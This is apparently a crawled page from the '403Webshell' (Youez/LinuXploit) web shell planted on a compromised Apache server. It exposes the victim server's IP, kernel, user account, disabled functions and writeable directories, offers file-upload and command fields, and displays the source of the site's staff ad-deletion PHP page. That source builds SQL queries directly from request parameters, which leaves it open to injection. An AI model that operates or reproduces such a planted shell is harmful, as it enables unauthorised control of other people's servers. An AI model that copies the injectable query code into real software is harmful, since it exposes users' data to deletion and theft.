403Webshell
Server IP : 51.89.169.208  /  Your IP : 18.219.218.77
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/staff/unapproved/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/staff/unapproved/index.php
<?php
//error_reporting(E_ALL);
$path  = $_SERVER['DOCUMENT_ROOT'];
include_once $path.'/connect_db.php';
include '../accesscontrol.php';  
if(isset($_POST['submit'])){

	foreach($_POST['ls'] as $listing){

		$aa = explode(" || ", $listing);

		$ls_id = $aa[0];

		$ls_mid = $aa[1];

		

		

		// deleting ad

		$q6 = "DELETE FROM ads WHERE adid='{$ls_id}' AND memberid ='{$ls_mid}'";

		$r6 = $connect->query($q6) or die($connect ->error);



		$del_query = "SELECT image, photo_1, photo_2, photo_3, photo_4 FROM ads WHERE  adid='{$ls_id}' AND memberid = '{$ls_mid}' GROUP BY adid";

		$del_result = $connect->query($del_query) or die($connect -> connect_errno);

		$del_row = $del_result->fetch_array();



		$photos_array=array(1 =>$del_row['photo_1'],$del_row['photo_2'],$del_row['photo_3'],$del_row['photo_4']);



		// deleting associating photos to ad

		foreach($photos_array as $photo_key=>$photo_array){

			$file = 'uploads/'.$photo_key.'/'.$photo_array; // name of file

			if (file_exists($file)) {

				@unlink($file);

			}

		}



		// deleting logo

		$logo_file= 'uploads/logo/'.$del_row['image']; // name of file

		if (file_exists($logo_file)) {

				@unlink($logo_file);

		}

		$message = 'Your Ad has been successfully deleted.';

	}

}



if($_GET['del']=="yes"){

	$adid=$_GET['adid'];

	$memberid=$_GET['memberid'];

	

	// deleting ad

	$q6 = "DELETE FROM ads WHERE adid='{$adid}' AND memberid ='{$memberid}'";

	$r6 = $connect->query($q6) or die($connect->error);

	

	$del_query = "SELECT image, photo_1, photo_2, photo_3, photo_4 FROM ads WHERE  adid='{$adid}' AND memberid = '{$memberid}' GROUP BY adid";

	$del_result = $connect->query($del_query) or die($connect->error);

	$del_row = $del_result->fetch_array();

	

	$photos_array=array(1 =>$del_row['photo_1'],$del_row['photo_2'],$del_row['photo_3'],$del_row['photo_4']);

	

	// deleting associating photos to ad

	foreach($photos_array as $photo_key=>$photo_array){

		$file = 'uploads/'.$photo_key.'/'.$photo_array; // name of file

		if (file_exists($file)) {

			@unlink($file);

		}

	}



	// deleting logo

	$logo_file= 'uploads/logo/'.$del_row['image']; // name of file

	if (file_exists($logo_file)) {

			@unlink($logo_file);

	}

	$message = 'Your Ad has been successfully deleted.';

	//header( "refresh:5;url=index.php" );

}

?>



<!-- start: HTML -->
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="stylesheet" href="/header-footer/global.css">
	<link rel="stylesheet" href="/staff/style_staff.css">
	<title>Staff Area</title>
</head>
<body>
	
	<?
		include 'staff_header.php';


		if($updated==TRUE){
			echo '<div class="successDvBx">ACTIVATED</div>';
		}
		if($message){
			echo '<div class="successDvBx">'.$message.'</div>';
		}
	?>

	<!-- start: Table -->
	<div class="table-section">
		<div class="container lg">
			<div class="table-responsive">
				<table class="table">
					<thead>
						<tr>
							<th></th>
							<th>#</th>
							<th>Business Name</th>
							<th>Business Date</th>
							<th>Paid</th>
							<th colspan="2" class="text-center">Action</th>
						</tr>
					</thead>
					<tbody>
					<?

$limit = 100;
$page = $_GET['page']?$_GET['page']:1;
$offset = ($page-1)*$limit;

$a = $connect->query("SELECT * FROM ads WHERE  completed='1' AND decline='1' ORDER BY paid DESC,adid DESC LIMIT $offset,$limit") or die($connect->error);

while($b = $a->fetch_array()){
	$r_ad_name=strtolower($b['companyname']);
	$r_ad_name = preg_replace("/[^A-Za-z 0-9]/", "", $r_ad_name); 
	$r_ad_name=str_replace("  "," ",$r_ad_name);
	$company_name_url=str_replace(" ","-",$r_ad_name);
?>

			<tr onclick="chbox(<?=$b['adid']?>);" id="tr_<?=$b['adid']?>" <?=(strpos($r_ad_name,'clean') !== false
				? 'class="selected"' : '' )?>>
				<td><input id="inp_<?=$b['adid']?>" type="checkbox" name="ls[]"
						value="<?=$b['adid']?> || <?=$b['memberid']?>"></td>
				<td>
					<?=$b['adid']?>
				</td>
				<td>
					<a href="/pages/<?=$b['adid']?>-<?=$company_name_url?>.html">
						<?=$b['companyname']?>
					</a>
				</td>
				<td>
					<?
		echo date('D jS M Y h:i:s A',$b['postdate']);
		?>
				</td>
				<td>
					<?
		if($b['paid'] > 1){
			echo '<b style="color:orange">Paid</b>';
		}else{
			echo '<b style="color:blue" > Free</b>';
		}
		?>
				</td>
				<td>
					<a href="/staff/advert/?id=<?=$b['adid']?>">Edit</a>
				</td>
				<td>
					<a onclick="return confirm('Are you sure to delete?')" style="color:red" href="?del=yes&adid=<?=$b['adid']?>&memberid=<?=$b['memberid']?>">Delete</a>
				</td>
			</tr>
			<?}?>
					</tbody>
				</table>
			</div>
			<div class="table-pagination">
				<a href="?page=<?=$page+1?>">Next Page</a>
			</div>
			<div class="table-action">
				<a href="#" class="btn btn-red">Delete Selected</a>
			</div>
		</div>
	</div>
	<!-- end: Table -->
	
	<script>
		var topbarToggle = document.querySelector('.topbar-menu-toggle')
		var topbarMenu = document.querySelector('.topbar-menu')

		topbarToggle.addEventListener('click', function() {
			topbarMenu.classList.toggle('show')
		})
		
		function chbox(id) {
			document.getElementById('inp_' + id).click()

			if (document.getElementById('inp_' + id).checked) {
				document.getElementById('tr_' + id).classList.add('selected');
			} else {
				document.getElementById('tr_' + id).classList.remove('selected');
			}
		}
	</script>
</body>
</html>
<!-- end: HTML -->

Youez - 2016 - github.com/yon3zu
LinuXploit